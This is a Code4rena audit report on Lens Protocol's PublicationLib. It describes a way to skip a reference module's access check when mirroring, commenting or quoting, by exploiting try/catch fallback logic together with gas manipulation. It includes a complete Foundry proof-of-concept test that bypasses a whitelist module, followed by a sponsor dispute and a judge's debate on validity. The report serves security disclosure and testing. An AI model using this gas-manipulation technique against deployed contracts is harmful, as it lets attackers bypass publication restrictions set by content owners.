Attackers might be able to avoid calling reference modules when creating publications

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-lens/blob/main/contracts/libraries/PublicationLib.sol#L428-L462

Vulnerability details

Bug Description

When comment(), mirror or quote() is called on a publication with a reference module, the reference module will be called.

For example, when a user mirrors another publication with a reference module, the processMirror() function of that reference module is called in _processMirrorIfNeeded():

PublicationLib.sol#L428-L462

            try
                IReferenceModule(refModule).processMirror(
                    Types.ProcessMirrorParams({
                        profileId: mirrorParams.profileId,
                        transactionExecutor: transactionExecutor,
                        pointedProfileId: mirrorParams.pointedProfileId,
                        pointedPubId: mirrorParams.pointedPubId,
                        referrerProfileIds: mirrorParams.referrerProfileIds,
                        referrerPubIds: mirrorParams.referrerPubIds,
                        referrerPubTypes: referrerPubTypes,
                        data: mirrorParams.referenceModuleData
                    })
                )
            returns (bytes memory returnData) {
                return (returnData);
            } catch (bytes memory err) {
                assembly {
                    /// Equivalent to reverting with the returned error selector if
                    /// the length is not zero.
                    let length := mload(err)
                    if iszero(iszero(length)) {
                        revert(add(err, 32), length)
                    }
                }
                if (mirrorParams.referrerProfileIds.length > 0) {
                    // Deprecated reference modules don't support referrers.
                    revert Errors.InvalidReferrer();
                }
                ILegacyReferenceModule(refModule).processMirror(
                    mirrorParams.profileId,
                    mirrorParams.pointedProfileId,
                    mirrorParams.pointedPubId,
                    mirrorParams.referenceModuleData
                );
            }

As some publications are initialized with legacy reference modules, the function uses a try-catch to differentiate between V1 and V2 modules.

However, this makes it possible for an attacker to completely skip the call to processMirror() if:

• IReferenceModule.processMirror() reverts without an error message. Note that an attacker can manipulate the amount of gas when calling mirror() to force this to occur.
• mirrorParams.referrerProfileIds.length is 0.
• The reference module has a fallback function or a function with the same selector as ILegacyReferenceModule.processMirror().

If all three requirements are met, an attacker will be able to create a mirror publication without calling the reference module's processMirror() function.

This becomes an issue if the publication's owner uses processMirror() to perform some sensitive logic, such as restricting publications to followers only.

Note that this also applies to _processCommentIfNeeded() and _processQuoteIfNeeded() as they are similar.

Impact

Under certain circumstances, attackers will be able to comment/mirror/quote a publication while skipping the call to its reference module, which can be abused to bypass sensitive logic.

Given that Lens Protocol will add more reference modules over time, the chance that a reference module fulfils the requirements listed above is not low.

Proof of Concept

The following Foundry test demonstrates how an attacker can manipulate the gas amount passed to mirror() to skip the call to processMirror(), which bypasses the whitelist validation logic in the reference module:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import 'test/base/BaseTest.t.sol';

contract PublicationReferenceModule_POC is BaseTest {
    ReferenceModule referenceModule;

    address ATTACKER;
    uint256 attackerProfileId;

    function setUp() public override {
        super.setUp();

        // Deploy and whitelist reference module
        referenceModule = new ReferenceModule();
        vm.prank(governance);
        hub.whitelistReferenceModule(address(referenceModule), true);

        // Create post with reference module
        address[] memory whitelist = new address[](200);
        for (uint160 i = 0; i < whitelist.length; ++i) 
            whitelist[i] = address(i);

        Types.PostParams memory postParams = _getDefaultPostParams();
        postParams.referenceModule = address(referenceModule);
        postParams.referenceModuleInitData = abi.encode(whitelist);

        vm.prank(defaultAccount.owner);
        defaultPub.pubId = hub.post(postParams);

        // Setup ATTACKER and profile
        ATTACKER = makeAddr("Attacker");
        attackerProfileId = _createProfile(ATTACKER);
    }

    function testCanPublishWithoutCallingReferenceModule() public {
        // Setup to call mirror()
        vm.startPrank(ATTACKER);
        Types.MirrorParams memory mirrorParams = _getDefaultMirrorParams();
        mirrorParams.profileId = attackerProfileId;

        // mirror() reverts as attacker isn't whitelisted in reference module
        vm.expectRevert(ReferenceModule.NotWhitelisted.selector);
        hub.mirror(mirrorParams);

        // Attacker manipulates gas amount to skip processMirror()
        uint256 pubId = hub.mirror{gas: 660000}(mirrorParams);
        vm.stopPrank();

        // Call to mirror() was successful
        assertGe(pubId, 0);
    }
}

// This reference module restricts mirrors to only whitelisted addresses
contract ReferenceModule {
    error NotWhitelisted();

    address[] whitelistedAddresses;

    function initializeReferenceModule(
        uint256, uint256, address, bytes calldata data
    ) external returns (bytes memory) {
        whitelistedAddresses = abi.decode(data, (address[]));
    }

    function processMirror(Types.ProcessMirrorParams calldata mirrorParams) external returns (bytes memory) {
        // An extremely gas-inefficient whitelist...
        for (uint256 i; i < whitelistedAddresses.length; i++) {
            if (whitelistedAddresses[i] == mirrorParams.transactionExecutor) {
                return "";
            }
        }

        revert NotWhitelisted();
    }

    // This function has the same selector as ILegacyReferenceModule's processMirror() function
    // Note that a fallback function would also work
    function clashingFunction_1025103B4() external {}   
}

It can be run with:

forge test --match-test testCanPublishWithoutCallingReferenceModule -vvv

Recommended Mitigation

Ensure that future reference modules do not contain a fallback function or a function with the selector 0x57ba5584.

Assessed type

Other

[donosonaumczuk]

We dispute validity. From the known issues, assumptions and clarification section of the README:

(...) for example, (...) Governance whitelisting a malicious/erroneous module on purpose. This is part of the risk model assumptions and its management will become more decentralized over time.

[c4-sponsor]

donosonaumczuk marked the issue as sponsor disputed

[c4-judge]

Picodes marked the issue as unsatisfactory: Out of scope

[MiloTruck]

Hi @Picodes, could you take a second look at this issue?

A module doesn't have to be malicious/erroneous to contain a fallback function or a function with a clashing selector; the scenario demonstrated here could very well occur after adding a completely normal module. As such, I don't think this issue should be considered out of scope due to the line pointed out by the sponsor.

Thanks!

[Picodes]

@MiloTruck don't you agree that for the module to contain a fallback function or a function with a clashing selector that wouldn't revert when called with this payload it'd have to be malicious? Like it's not just a matter of bad luck and selector clash, you also need it to not revert so here to have no arguments or to work with the provided ones. You also need it to consume very little gas otherwise it'd be hard to make the first call revert using the 63/64 rule (if that's what you were referring to here "Note that an attacker can manipulate the amount of gas when calling mirror() to force this to occur").